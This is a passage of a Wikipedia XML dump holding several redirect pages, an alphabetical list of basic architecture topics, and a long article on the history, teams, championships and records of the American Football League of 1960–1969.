[[lt:Abstraktus duomenų tipas]]
[[ru:Абстрактный тип данных]]
[[pl:Abstrakcyjny typ danych]]</text>
    </revision>
  </page>
  <page>
    <title>Acquired Immunodeficiency Syndrome</title>
    <id>2351</id>
    <revision>
      <id>15900774</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[AIDS]]
</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Astronomy and Astrophysics basic concepts</title>
    <id>2352</id>
    <revision>
      <id>15900775</id>
      <timestamp>2003-06-28T16:59:08Z</timestamp>
      <contributor>
        <username>Pizza Puzzle</username>
        <id>11070</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[list of astronomical topics]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Archaeology basic topics</title>
    <id>2354</id>
    <revision>
      <id>29471994</id>
      <timestamp>2005-11-28T11:00:07Z</timestamp>
      <contributor>
        <username>Go for it!</username>
        <id>571592</id>
      </contributor>
      <comment>fixed redirect</comment>
      <text xml:space="preserve">#Redirect [[List of basic archaeological topics]]</text>
    </revision>
  </page>
  <page>
    <title>Agricultural Science basic topics</title>
    <id>2355</id>
    <revision>
      <id>32114856</id>
      <timestamp>2005-12-20T16:30:11Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Wikipedia:Agricultural sciences basic topics&quot; +&quot;List of basic agricultural science topics&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[List of basic agricultural science topics]]</text>
    </revision>
  </page>
  <page>
    <title>List of basic architectural topics</title>
    <id>2356</id>
    <revision>
      <id>41922168</id>
      <timestamp>2006-03-02T17:13:35Z</timestamp>
      <contributor>
        <username>Narsamson</username>
        <id>350112</id>
      </contributor>
      <comment>Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">Below is an alphabetical list of basic topics in '''[[architecture]]''' -- topics which will help the beginner become familiar with the field of architecture.
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
|valign=&quot;top&quot;|'''A - H'''
*[[Abacus]] --
*[[Adobe]] -- 
*[[Aisle]] --
*[[Alabaster]] -- 
*[[Ambulatory]] --
*[[Apse]] --
*[[Aqueduct]] --
*[[Arcade (architecture)|Arcade]] --
*[[Arch]] --
*[[Architect]] -- 
*[[Architectural history]] -- 
*[[Architecture]] -- 
*[[Architrave]] --
*[[Ashlar]] -- Stone cutting
*[[Atrium (architecture)|Atrium]] -- &lt;!-- disambigged --[[User:Theodore Kloba|Theodore Kloba]] *18:16, 2004 Dec 23 (UTC) --&gt;
*[[Axonometric projection]] --
*[[Balcony]] --
*[[Balustrade]] --
*[[Barn]] -- 
*[[Baroque]] --
*[[Bastion]] --
*[[Basilica]] -- 
*[[Beam (structure)|Beam]] --
*[[Bailey bridge]] --
*[[Bird's-eye view]] --
*[[Bowstring bridge]] --
*[[Brick]] -- 
*[[Bridge]] --
*[[Building]] --
*[[Building restoration]] --
*[[Buttress]] -- 
*[[Cable-stayed bridge]] --
*[[Caisson]] --
*[[Canal]] --
*[[Cantilever]] --
*[[Capital (architecture)]] --
*[[Caryatid]] -- 
*[[Catacomb]] --
*[[Castle architecture]] -- 
*[[Cement]] -- Building Material
*[[Chancel]] --
*[[Chimney]] --
*[[Church architecture]] -- 
*[[Cladding]] -- 
*[[Clapper bridge]] --
*[[Classical order]] -- see: [[Orders (architecture)]]
*[[Cloister]] --
*[[Cob (building)|Cob]] --
*[[Colonnade]] --
*[[Column]] -- 
*[[Concrete]] --
*[[Construction]] --
*[[Construction material]] --
*[[Construction technique]] --
*[[Cooling]] --
*[[Cornice]] --
*[[Cruck]] --
*[[Crypt]] --
*[[Cupola]] --
*[[Curtain wall]] --
*[[Damp-proofing]] --
*[[Dome]] --
*[[Domestic architecture]] --
*[[Door]] --
*[[Elevation]] --
*[[Engineering brick]] --
*[[Entablature]] --
*[[Facade (Architecture)|Facade]] --
*[[Factory]] --
*[[Fenestration]] --
*[[Floor]] --
*[[Foundation (architecture)|Foundation]] --
*[[Framed building]] --
*[[Fresco]] --
*[[Frieze]] --
*[[Gable]] --
*[[Gallery (architecture)]] --
*[[Gargoyle]] --
*[[Gazebo]] --
*[[Girder]] --
*[[Glass]] --
*[[Geodesic dome]] --
*[[Gothic architecture]] --
*[[Grotesque]] --
*[[Half-timbering]] --
*[[Hammerbeam]] --
*[[Heating]] --
*[[Hill fort]] --
*[[Hospital architecture]] --
*[[House]] --
*[[Hypocaust]] --
|
|valign=&quot;top&quot;|'''I - Z'''
*[[Industrial architecture]] --
*[[Inglenook]] --
*[[thermal insulation|Insulation]] --
*[[Isometric projection]] --
*[[Jack arch]] --
*[[Jetty]] --
*[[Joist]] --
*[[Landscape architecture]] --
*[[Mausoleum]] --
*[[Mezzanine]] --
*[[Minaret]] --
*[[Modern Architecture]] --
*[[Monastery]] --
*[[Monolithic architecture]] --
*[[Mortar (masonry)|Mortar]] --
*[[Motte and bailey]] --
*[[Mosque]] --
*[[Nave]] --
*[[Office building]] --
*[[Oratory]] --
*[[Orders (architecture)]] (i.e. Doric, Ionic, Corinthian, etc) --
*[[Pagoda]] --
*[[Palace]] --
*[[Palladian]] --
*[[Parapet]] --
*[[Pargeting]] --
*[[Pavilion (structure)|Pavilion]] --
*[[Pediment]] --
*[[Penthouse apartment]] --
*[[Piazza]] --
*[[Pier]] --
*[[Plan view]] --
*[[Plaster]] --
*[[Portal frame]] --
*[[Portcullis]] --
*[[Portico]] --
*[[Post and lintel]] --
*[[Presbytery]] --
*[[Quoin]] --
*[[Radburn system]] --
*[[Rendering (architecture)]] --
*[[Rococo]] --
*[[Rood]] --
*[[Roof]] --
*[[Roving bridge]] --
*[[Rustication (architecture)]] --
*[[School architecture]] --
*[[Section]] --
*[[Shopping mall]] --
*[[Skyscraper]] --
*[[Slate]] --
*[[Spire]] --
*[[Straw bale]] --
*[[Span (architecture)|Span]] --
*[[Stadium]] --
*[[Staircase]] --
*[[Steel-frame construction]] --
*[[Rock (geology)|Stone]] --
*[[Structural engineering]] -- 
*[[Stucco]] --
*[[Suspension bridge]] --
*[[Swing bridge]] --
*[[System building]] --
*[[Tabernacle]] --
*[[Technical drawing]] --
*[[Temple]] --
*[[Terraced house]] --
*[[Terracotta]] --
*[[Thatch]] --
*[[Theatre]] --
*[[Thrust]] --
*[[Tile]] --
*[[Timber]] --
*[[Timber frame]] --
*[[Tower]] --
*[[Tracery]] --
*[[Triumphal arch]] --
*[[Truss]] --
*[[Urban planning]] -- 
*[[Undercroft]] --
*[[Vault]] --
*[[Vernacular]] --
*[[Viaduct]] --
*[[Villa]] --
*[[Wall]] --
*[[Water wheel]] --
*[[Wattle and daub]] --
*[[Weatherboard]] --
*[[Window]] --
*[[Wood]] --
*[[Worm's-eye view]]
|
|-
|}

[[Category:Lists of basic topics|Architectural]]
[[Category:Wikipedia missing topics]]
[[pl:Podstawowe zagadnienia z zakresu architektury]]</text>
    </revision>
  </page>
  <page>
    <title>American Football League</title>
    <id>2357</id>
    <revision>
      <id>40990757</id>
      <timestamp>2006-02-24T09:10:39Z</timestamp>
      <contributor>
        <username>Big Phoenix</username>
        <id>893155</id>
      </contributor>
      <comment>Added saints franchise note.</comment>
      <text xml:space="preserve">[[Image:AmericanFootballLeague.jpg|thumb|right|150px|AFL logo]]

The '''American Football League (AFL)''' was a professional league of [[American football]] that operated from 1960 to 1969.  In 1970 the AFL [[AFL-NFL merger|merged]] operations with the [[National Football League]].  All ten AFL franchises became part of the merged league, which retained the NFL name.

''Note: There were three earlier and unrelated American football leagues of the same name:  One in 1926, one in 1936-1937 and one in 1940-1941.  They are listed at the end of this article.''

==League history==
===&quot;The Foolish Club&quot;===
In 1958 [[Lamar Hunt]] (son and heir of [[Texas]] oilman [[H. L. Hunt]]) attempted to bring an NFL franchise to his hometown of [[Dallas, Texas|Dallas]] but was rejected by the league.  A second attempt in 1959 was also unsuccessful.  Hunt was advised by league officials to contact the owners of the [[Chicago Cardinals]], who offered to sell Hunt a 20 percent stake in the team.  Hunt rejected the offer, and it was then that he began to envision not just a new team in the NFL, but an entirely new league.

Hunt began his quest for a new league by contacting others who had shown interest in the Cardinals, and assessing their interest in starting a new league.  These included [[Bud Adams|K.S. (Bud) Adams]] of [[Houston, Texas|Houston]], [[Bob Howsam]] of [[Denver, Colorado|Denver]] and [[Max Winter]] and [[Bill Boyer]] of [[Minneapolis, Minnesota|Minneapolis]].  This brought to four the number of potential teams in the new league.  

Next, Hunt sought franchises in [[Los Angeles]] and [[New York City]].  But at the same time he sought the blessings of the NFL for his nascent league, as he did not seek a rivalry with the older and more established league.  &quot;I told myself I didn’t want to go into this if it meant some kind of battle,&quot; Hunt would later recall. &quot;Of course, this was one of the more naive thoughts in the history of pro sports.&quot; [http://www.kcchiefs.com/history/]

Soon after, Hunt received commitments from [[Barron Hilton]] (Los Angeles) and [[Harry Wismer]] (New York).  On [[August 14]], [[1959]] the first league meeting was held in [[Chicago, Illinois|Chicago]] and charter teams were given to Dallas, New York, Houston, Denver, Los Angeles and Minneapolis.  On [[August 22]] the league was officially named the American Football League.

Two more cities were awarded franchises later in the year - [[Buffalo, New York|Buffalo]] ([[Ralph C. Wilson Jr.|Ralph Wilson]]) on [[October 28]] and [[Boston, Massachusetts|Boston]] ([[William H. Sullivan|William H. (Billy) Sullivan]]) on [[November 22]].  The AFL's first draft took place the same day Boston was awarded their franchise.  The draft lasted for 33 rounds.

===The first crisis===
In November 1959, Minneapolis owner Max Winter announced his intent to leave the AFL in order to accept a franchise offer from the NFL.  In 1961, his team began play in the NFL, where it took the name [[Minnesota Vikings]].   

The NFL now offered Hunt what he had originally wanted - an expansion franchise in Dallas.  Hunt turned the NFL down, as he felt it would not be right to abandon his fellow AFL owners.  Had Hunt left the AFL, it would likely have never played its first game.

===The AFL begins (1959-61)===
With the first major crisis passed, the AFL got back to the business of preparing for its first season.  On [[November 30]], [[1959]] [[Joe Foss]], a [[World War II]] [[United_States_Marine_Corps|Marine]] hero and former governor of [[South Dakota]], was named the AFL's first Commissioner.   Foss commissioned a friend of Harry Wismer's to develop the AFL's eagle-on-football logo.  The league held a second draft on [[December 2]], which lasted for 20 rounds.  Hunt was elected President of the AFL on [[January 26th]], 1960.  On [[January 28]], the NFL awarded an expansion franchise to Dallas, which would offer direct competition to Hunt's team.  The Minneapolis franchise formally withdrew from the AFL on [[January 27]] and was replaced on [[January 30]] by one in [[Oakland, California]], owned by a group of local investors headed by [[Chet Soda]].

===The first coup===
[[Billy Cannon]], the All-American and 1959 [[Heisman Trophy]] winner from [[Louisiana State University]], had an uncommon combination of brute strength with the speed of a sprinter. In 1960, his signing by the [[Houston Oilers]] followed a fierce bidding war that began when Oilers owner Bud Adams met Cannon in the end zone following LSU's Sugar Bowl victory, and ended in court, with the AFL winning against the NFL. That put the fledgling league on the football map. Cannon was one of the American Football League's most celebrated combatants. At halfback, he scored an 88-yard touchdown on a pass from [[George Blanda]] in the first AFL Championship game.  Cannon became the only player ever selected to an All-star team as a halfback in one year (1961) and as a tight end in another (1969).

On [[June 9]], the league signed a five-year [[television]] contract with [[American_Broadcasting_Company|ABC]], which brought in revenues of roughly $2,125,000 per year for the entire league.  On [[June 17]], the AFL filed an antitrust lawsuit against the NFL.  The suit was dismissed in 1962 after a two-month trial.

The AFL began regular-season play (a night game on Friday, [[September 9]], [[1960]]) with eight teams in the league - the [[Boston Patriots]], [[Buffalo Bills]], [[Kansas City Chiefs|Dallas Texans]], [[Denver Broncos]], [[Houston Oilers]], [[Los Angeles Chargers]], [[New York Titans]] and [[Oakland Raiders]].  The Oilers became the first-ever league champions, defeating the Chargers 24-16 in the AFL Championship Game on [[January 1]], [[1961]].

Attendance for the 1960 season was respectable for a new league, but not nearly that of the NFL.  Whereas the more popular NFL teams in 1960 regularly saw attendance figures of 50,000+, AFL attendance generally hovered between 10-20,000 [http://nflhistory.net/linescores/pdf/1960a.pdf].  With the low attendance came financial losses.  The Raiders, for instance, lost $500,000 in their first year.  In an early sign of stability, however, the AFL did not lose any teams after its first year of operation.  In fact, the only major change was the relocation of the Chargers from Los Angeles to [[San Diego, California|San Diego]].

===Movement and instability (1962-63)===
While some teams (such as the Oilers) found instant success in the AFL, others were not as fortunate.  The Oakland Raiders and New York Titans struggled on and off the field during their first few seasons in the league.  Oakland's eight-man ownership group was reduced to just three in 1961, after heavy financial losses their first season.  Attendance for home games was poor, partly due to the fact that the team was playing in the [[San Francisco Bay Area]], which already had an established NFL team (the [[San Francisco 49ers]]).  The product on the field was also to blame.  After winning six games their debut season, the Raiders won just three times combined in the 1962 and 1963 seasons.  Oakland took part in a 1962 supplemental draft meant to boost the weaker teams in the league, but it did little good.  They participated in another such draft in 1963.

The Titans fared a little better on the field but had their own financial troubles.  Attendance was so low for home games that fans were moved to seats closer to the field to give the illusion of a fuller stadium on television.  Things got so bad that owner Harry Wisner was unable to meet his payroll, and on [[November 8]], [[1962]] the AFL took over operations of the team.  The Titans were sold to a five-person ownership ground headed by [[Sonny Werblin]] on [[March 28]], [[1963]].  Werblin changed the team's name to the '''New York Jets'''.

In the December 23, 1962 [[Professional American football championship games|AFL Championship game]], the Dallas Texans dethroned the two-time defending champion Oilers 20-17 in what at that time was professional football's longest game, a double-overtime thriller.  

In 1963 the Texans became the second AFL team to relocate.  Lamar Hunt felt that despite winning the league championship in 1962, the Texans could not succeed financially in the same market as the [[Dallas Cowboys]].  After meetings with [[Atlanta]] and [[Miami]], Hunt decided on [[Kansas City, Missouri|Kansas City]] as the new home for his team.  On [[May 22]] Hunt announced the move, and the team was christened the '''Kansas City Chiefs''' on [[May 26]].

===Watershed years (1964-65)===
1964 started off very well for the AFL.  On [[January 29]] the league signed a lucrative $36 million television contract with [[NBC]], to start in the 1965 season.  This gave the league money it desperately needed to compete with the NFL for talent.

A new single-game attendance record was set on [[November 8]], [[1964]] when 61,929 fans packed [[Shea Stadium]] to watch the New York Jets and Buffalo Bills [http://nflhistory.net/linescores/pdf/1964a.pdf].

The bidding war between the AFL and NFL for players escalated in 1965.  The Chiefs drafted [[Gale Sayers]] in the first round of the AFL's 1965 draft, while the [[Chicago Bears]] did the same in the NFL draft.  Sayers signed with the Bears in a victory for the older league.  

A similar situation occurred when the St. Louis Cardinals (NFL) and New York Jets (AFL) both drafted [[University of Alabama]] [[quarterback]] [[Joe Namath]].  But this time the AFL emerged the victor.  On [[January 2]], Namath signed a $427,000 contract with the Jets [http://www.newyorkjets.com/history/index.php?section=highlights&amp;years=1969-1959&amp;highlight_id=35#34].  It was the highest amount of money ever paid to a collegiate football player.  The signing was important not just for the Jets (one of the worst teams in the league) but for the AFL as well. 

The AFL expanded to nine teams in 1965 when Minneapolis attorney [[Joseph Robbie]] and television star [[Danny Thomas]] were awarded a franchise on [[August 16]] for a fee of $7.5 million.  Their team, the [[Miami Dolphins]], started play in the AFL's East division in 1966.

On the playing field, the quality of play continued to improve and bona fide stars began to emerge, such as [[Lance Alworth]], [[George Blanda]], [[Willie Brown (football player)|Willie Brown]], [[Nick Buoniconti]], [[Ron Mix]], and [[Jim Otto]].  AFL teams such as the [[San Diego Chargers]], the [[Kansas City Chiefs]], and the [[Buffalo Bills]] offered fans exciting games as alternatives to the conservative NFL variety.

===Escalation and merger (1966-67)===
{{Details|AFL-NFL Merger}}
1966 saw the rivalry between the AFL and NFL reach an all-time peak.  On [[April 7]] Joe Foss, the only commissioner the AFL had ever known, resigned.  His chosen successor was Oakland Raiders general manager [[Al Davis]], who had been instrumental in turning around the fortunes of the franchise.  No longer content with trying to outbid the NFL for talent, the AFL under Davis actively started to recruit players already on NFL squads.  NFL players such as [[Mike Ditka]], [[Roman Gabriel]] and [[John Brodie]] were offered and/or signed to lucrative AFL contracts.

The same month Davis was named commissioner, Lamar Hunt and Dallas Cowboys owner [[Tex Schramm]] held a series of secret meetings in Dallas to discuss their concerns over rapidly increasing player salaries, as well as the practice of player poaching.  Hunt and Schramm completed the basic groundwork for a merger by the end of May.  On [[June 8]], [[1966]] the merger was officially announced.  Under the terms of the agreement, the two leagues would hold a common player draft.  The agreement also called for a title game to be played between the champions of the respective leagues.  The two leagues would be fully merged by 1970, and NFL commissioner [[Pete Rozelle]] would remain as commissioner of the merged league.  The AFL also agreed to pay indemnities of $18 million to the NFL over 20 years.  In protest, Davis resigned as AFL commissioner on [[July 25]] rather than remain until the completion of the merger.  

On [[January 15]], [[1967]], the first-ever World Championship Game between the champions of the two separate professional football leagues, the AFL-NFL Championship Game (retroactively referred to as [[Super Bowl I]]), was played in Los Angeles.  The NFL champion [[Green Bay Packers]] overwhelmed the AFL champion Kansas City Chiefs, 35-10.

The [[Cincinnati Bengals]] became the second AFL expansion franchise on [[May 24]], [[1967]].  The Bengals were the tenth and final team to begin play as an AFL franchise.  In a clear indication of the success of the AFL, Paul Brown paid $10,000,000 for the Bengals franchise–''four hundred times more'' than the original AFL franchise value of $25,000 only eight years earlier.

===Legitimacy and the end of an era (1968-70)===
During the first two Super Bowl matchups, the Green Bay Packers won games against the Kansas City Chiefs and Oakland Raiders by comfortable margins, leading some NFL executives to doubt the wisdom in merging with the upstart league.  That perception changed forever on [[January 12]], [[1969]], when the AFL Champion New York Jets shocked the heavily favored NFL Champion [[Baltimore Colts]] in [[Super Bowl III]].

The Colts, who entered the contest as an 18-point favorite, had completed the [[1968 NFL season]] with a 13-1 record, then won two playoff games, the latter a 34-0 dismantling of the [[Cleveland Browns]].  Baltimore's defense was considered one of the finest of its era, having allowed just 144 points in 1968.  In contrast, the Jets had allowed 280 points, the highest total for any division winner in the two leagues.   

But Jets quarterback Joe Namath seemed unimpressed.  Three days before the game, Namath spoke to a group at the Touchdown Club in [[Miami]] and declared, &quot;We're going to win Sunday, I'll guarantee you.&quot; [http://sportsillustrated.cnn.com/football/news/2001/01/22/afl_history_2/]

Namath and the Jets made good on his guarantee as they held the Colts scoreless until late in the fourth quarter.  The Jets won, 16-7, in what is considered by many to be one of the greatest upsets in American sports history. [http://espn.go.com/page2/s/list/topupsets/010525.html] [http://football.about.com/cs/superbowl/a/bl_superbowl3.htm] [http://www.courierpostonline.com/columnists/cxww020105a.htm]

While no doubt shocked by the result, NFL commissioner Pete Rozelle nonetheless saw the Jets' victory as a watershed moment that would give a legitimacy to the merger.  That feeling was reinforced one year later in [[Super Bowl IV]], when the AFL champion Kansas City Chiefs defeated the NFL champion [[Minnesota Vikings]], 23-7 in the last championship game to be played between the two leagues.  

The last contest in AFL history was the [[AFL All-Star Game]] on [[January 17]], [[1970]].  The Western All-Stars, led by Chargers quarterback [[John Hadl]], defeated the Eastern All-Stars, 26-3.

Prior to the start of the [[1970 NFL season]], the merged league was split into two conferences of three divisions each.  All ten AFL teams made up the bulk of the new [[American Football Conference]].  The old NFL's [[Indianapolis Colts|Baltimore Colts]], [[Pittsburgh Steelers]] and [[Cleveland Browns]] were also placed in the AFC.  All the other existing NFL squads moved to the [[National Football Conference]].

Some AFL fans had wanted the AFL and the NFL to set up a joint organizational structure like [[Major League Baseball]] where one entity operates two different sports leagues. Instead, the AFL gave up its name and logo to join the older league. The AFC logo used today has some elements of the old AFL logo. However the &quot;A&quot; in the AFL logo was blue; for unknown reasons, the &quot;A&quot; in the AFC logo is red.

===Legacy===
Of all the leagues that have attempted to challenge the dominance of the [[National Football League]], the AFL was the only one to have all its teams integrated into the fabric of the NFL.  This was in sharp contrast to such entities as the [[All-America Football Conference]], baseball's [[Federal League]], the [[American Basketball Association]] and the [[World Hockey Association]], all of which either folded, or only had a handful of teams join the respective post-merger entities. 

The NFL went on to adopt many of the innovative elements introduced by the AFL, including names on player jerseys, official scoreboard clocks and gate and revenue sharing. The AFL's challenge to the NFL also laid the groundwork for the [[Super Bowl]], which has become the standard for championship contests.

Hunt's vision brought a new professional football league not only to [[California]] and [[New York State|New York]], but to [[Colorado]] and later fast-growing [[Florida]], which hosted professional sports for the first time in their histories. The AFL also returned the sport to [[New England]] for the first time in 23 years. The AFL also adopted the first-ever cooperative television plan for professional football, in which the league office negotiated an ABC-TV contract, the proceeds of which were divided equally among member clubs. 

Four ''NFL'' franchises were awarded as a direct result of the interest of the AFL: The [[Dallas Cowboys]] began operations months after the AFL's [[Kansas City Chiefs|Dallas Texans]] were created; the [[Minnesota Vikings]] were awarded to Max Winter in exchange for dropping his bid to join the AFL; the [[Atlanta Falcons]] franchise went to Rankin Smith to dissuade him from purchasing the AFL's [[Miami Dolphins]]; and the [[New Orleans Saints]] based on successful anti-trust legislation, championed by several [[Louisiana]] politicians, that helped the two leagues merge. 

Given the furious battle for playing talent, the AFL's arrival helped many [[Black players in American professional football|black players]] from small colleges helped broaden the talent base for players who subsequently contributed to the sport.{{ref|acho}}{{ref|ross}}

The AFL's free agents came from several sources.  Some were players who could not find success playing in the NFL, while another source was the [[Canadian Football League]]. In the late 1950s, many players released by the NFL, or un-drafted and unsigned out of college by the NFL, went North to try their luck with the CFL, and later returned to the states to play in the AFL.  

In the league's first years, men like the Oilers' [[George Blanda]], the Chargers/Bills' [[Jack Kemp]], the Texans' [[Len Dawson]], the Titans' [[Don Maynard]], the Raiders/Patriots/Jets'  [[Babe Parilli]], the Pats' [[Bob Dee]] proved to be AFL standouts.  Other players such as the Broncos' [[Frank Tripucka]], the Pats' [[Gino Cappelletti]], the Bills' [[Cookie Gilchrist]] and the Chargers' [[Tobin Rote]], [[Sam Deluca]] and [[Dave Kocourek]] also made their mark to give the fledgling league badly-needed credibility.  Rounding out this mix of potential talent were the true &quot;free agents&quot;, the walk-ons and the &quot;wanna-be's&quot;, who tried out in droves for the chance to play professional football.
  
The American Football League took advantage of the burgeoning popularity of football by locating teams in major cities that lacked NFL franchises, and by using the growing power of televised football games (bolstered with the help of major network contracts, first with [[American Broadcasting Company|ABC]] and later with [[NBC]]).  It featured many outstanding games, such as the classic 1962 double-overtime American Football League championship game between the [[Kansas City Chiefs|Dallas Texans]] and the defending champion [[Tennessee Titans|Houston Oilers]].  At the time it was the longest [[Professional American football championship games|professional football championship game]] ever played.    

The AFL appealed to fans by offering a flashier alternative to the more conservative NFL.  Team uniforms were bright and colorful.  Long passes (&quot;bombs&quot;) were commonplace in AFL offenses, led by such talented quarterbacks as [[John Hadl]], [[Daryle Lamonica]] and [[Len Dawson]].

Another attractive feature of the American Football League was its competitive balance.  In the original eight-team league, in a fourteen game schedule, each team played every other team twice. Every team had the same &quot;strength of schedule&quot;, so the division champions were clearly the best teams in each division.  Further, the league championships were evenly divided: five were won by Western Division teams, five by the Eastern Division; and of the original eight teams, all but two (Denver and Boston/New England) won at least one AFL title, and only one did not make the playoffs at some time during the league's ten-year existence.

Players who chose the AFL to develop their talent included [[Lance Alworth]] and [[Ron Mix]] of the [[San Diego Chargers|Chargers]], who had also been drafted by the NFL's [[San Francisco 49ers]] and [[Baltimore Colts]] respectively.  Both eventually were elected to the [[Pro Football Hall of Fame]] after earning recognition during their careers as being among the best at their positions.  Among specific teams, the [[1964]] [[Buffalo Bills]] stood out by holding their opponents to a pro football record 913 yards rushing on 300 attempts, while also recording fifty quarterback sacks in a fourteen-game schedule.

Despite having a national television contract, the AFL often found itself trying to gain a foothold, only to come up against roadblocks.  For example, CBS-TV, which broadcast NFL games, ignored results from the other league. 

The bidding war, which was financially draining both leagues, and the rapidly rising popularity of the AFL were factors that eventually led to the merger, leaving a merged league named the NFL.

==AFL teams==
The original eight AFL teams were as follows:

Eastern Division
*[[New England Patriots|Boston Patriots]] (now New England Patriots)
*[[Buffalo Bills]]
*[[Tennessee Titans|Houston Oilers]] (now Tennessee Titans)
*[[New York Jets|New York Titans]] (now New York Jets)

Western Division
*[[Kansas City Chiefs|Dallas Texans]] (now Kansas City Chiefs)
*[[Denver Broncos]]
*[[San Diego Chargers|Los Angeles Chargers]] (now San Diego Chargers)
*[[Oakland Raiders]]

The eight-team roster enabled the league to set a schedule where every team played every other team twice during the fourteen-game season, as the AAFC did.

The league added a ninth team, the [[Miami Dolphins]], in 1966, and a tenth team, the [[Cincinnati Bengals]] in 1968.

==AFL playoffs==
{{Details|AFL playoffs}}
From 1960 to 1968, the AFL determined its champion via a single playoff game between the winners of its two divisions. In 1969, a four team tournament was instituted, with the second place teams in each division also participating.

===AFL Championship Games===
* 1960 - [[Houston Oilers]] 24, [[Los Angeles Chargers]] 16
* 1961 - [[Houston Oilers]] 10, [[San Diego Chargers]] 3
* 1962 - [[Kansas City Chiefs|Dallas Texans]] 20, [[Houston Oilers]] 17 (double [[overtime (sport)|OT]])
* 1963 - [[San Diego Chargers]] 51, [[Boston Patriots]] 10
* 1964 - [[Buffalo Bills]] 20, [[San Diego Chargers]] 7
* 1965 - [[Buffalo Bills]] 23, [[San Diego Chargers]] 0
* 1966 - [[Kansas City Chiefs]] 31, [[Buffalo Bills]] 7
* 1967 - [[Oakland Raiders]] 40, [[Houston Oilers]] 7
* 1968 - [[New York Jets]] 27, [[Oakland Raiders]] 23
* 1969 - [[Kansas City Chiefs]] 17, [[Oakland Raiders]] 7

==AFL All Star games==
{{Details|American Football League All-Star games}}

The AFL did not play an All-Star game after its first season in 1960 but did stage All-Star games for the 1961 through 1969 seasons. All-Star teams from the Eastern and Western divisions played each other after every season except 1965. That season, the league champion [[Buffalo Bills]] played all-stars from the other teams.

After the 1964 season, the AFL All-Star Game had been scheduled for early 1965 in [[New Orleans, Louisiana|New Orleans]]' Tulane Stadium. After numerous black players were refused service by a number of New Orleans hotels and businesses, black and white players alike lobbied for a [[boycott]].  Under the leadership of [[Buffalo Bills]] players including [[Cookie Gilchrist|Carlton Chester &quot;Cookie&quot; Gilchrist]], the players put up a unified front, and the game was successfully moved to Houston's [[Jeppesen Stadium]].

==AFL All-Time Team==
In 1970, selectors for the Hall of Fame chose a first and second-team at each position, for an [[American Football League All-Time Team]].

==AFL records==
The following is a sample of some records set during the existence of the league.  The NFL considers AFL statistics and records equivalent to its own.
*Yards passing, game  - 464, [[George Blanda]] (Oilers, [[October 29]], [[1961]])
*Yards passing, season - 4,007, [[Joe Namath]] (Jets, 1967)
*Yards passing, career - 21,130, [[Jack Kemp]] (Chargers, Bills)
*Yards rushing, game - 243, [[Cookie Gilchrist]] (Bills, [[December 8]], [[1963]])
*Yards rushing, season - 1,458, [[Jim Nance]] (Patriots, 1966)
*Yards rushing, career - 5,101, [[Clem Daniels]] (Texans, Raiders)
*Receptions, season - 101, [[Charlie Hennigan]] (Oilers, 1964)
*Receptions, career - 567, [[Lionel Taylor]] (Broncos)
*Points scored, season - 155, [[Gino Cappelletti]] (Patriots, 1964)
*Points scored, career - 1,100, [[Gino Cappelletti]] (Patriots)

==Players, coaches, and contributors==
*[[American Football League Draft]]
*[[List of American Football League players]]
===Commissioners/Presidents of the American Football League===
* [[Joe Foss]]........... November 1959-April 1966 Commissioner
* [[Al Davis]]........... April 1966-July 1966 Commissioner
* [[Milt Woodard]]...... July 1966-March 1970 President

==See also==
*[[American Football League win-loss records]]
*[[American Football League seasons]]
*[[American Football League playoffs]]

==Earlier AFLs==
===American Football League, 1926===
Roster and Final standings:
* Philadelphia Quakers (Champions) 
* [[New_York_Yankees_(AFL)|New York Yankees]]   (joined the NFL in 1927)
* [[Cleveland Panthers]] 
* [[Los Angeles Wilson Wildcats]]
* [[Chicago_Bulls_(AFL)|Chicago Bulls]]
* [[Boston Bulldogs]]  
* [[Rock Island Independents]] (former NFL team)
* [[Brooklyn Horsemen]]  
* [[Newark Bears (AFL)|Newark Bears]]

===American Football League, 1936-37===
* [[Boston Shamrocks]] (1936-1937) 
* Brooklyn/[[Rochester Tigers]] (1936) 
* [[Cleveland Rams]] (1936)  joined the NFL in 1937; today's [[St. Louis Rams]]
* [[New York Yankees (football)|New York Yankees]] (1936-1937) 
* [[Pittsburgh Americans]] (1936-1937) 
* Syracuse/[[Rochester Braves]] (1936)  
* [[Cincinnati Bengals]] (1937) 
* [[Los Angeles Bulldogs]] (1937) 

The Syracuse Braves moved to Rochester in midseason and disbanded during the season. The Brooklyn Tigers moved to Rochester after the Rochester Braves disbanded. 

Champions 
*1936 [[Boston Shamrocks]]  
*1937 [[Los Angeles Bulldogs]]

===American Football League, 1940-41===
* [[Boston Bears]] (1940) 
* [[Buffalo Indians]] (1940)/[[Buffalo Tigers]] (1941)
* [[Cincinnati Bengals]] (1940-1941) 
* [[Columbus Bullies]] (1940-1941) 
* [[Milwaukee Chiefs]] (1940-1941) 
* [[New_York_Yankees_(AFL)|New York Yankees]] (1940)/[[New York Americans]] (1941) 

Champions
*1940 [[Columbus Bullies]] 
*1941 [[Columbus Bullies]]

See [[List of leagues of American football]]


==Footnotes==
#{{note|acho}}{{cite book | author=Jim Acho | title=The &quot;Foolish Club&quot; | publisher=Gridiron Press | year=1997 | id=ASIN B0006QUG20}} Foreword by [[Miller Farr]].
#{{note|ross}}{{cite book | author=Charles K. Ross | title=Outside the Lines: African Americans and the Integration of the National Football League | publisher=New York University Press | year=1999 | id=ISBN 0-8147-7495-4 }}

==References==
*History: The AFL - Pro Football Hall of Fame [http://www.profootballhof.com/history/decades/1960s/afl.jsp link]
*Loup, Rich (2001) [http://sportsillustrated.cnn.com/football/news/2001/01/22/afl_history_1/ &quot;The AFL: A Football Legacy&quot;].  Retrieved August 15, 2005.

==Further reading==
*[[Jack Horrigan]] and Mike Rathet, ''The Other League/The Fabulous Story of the American Football League''
*[[Jack Orr]], ''We Came of Age/A Picture History of the American Football League''
*[[George Sullivan]], ''Touchdown!/The Picture History of the American Football League''
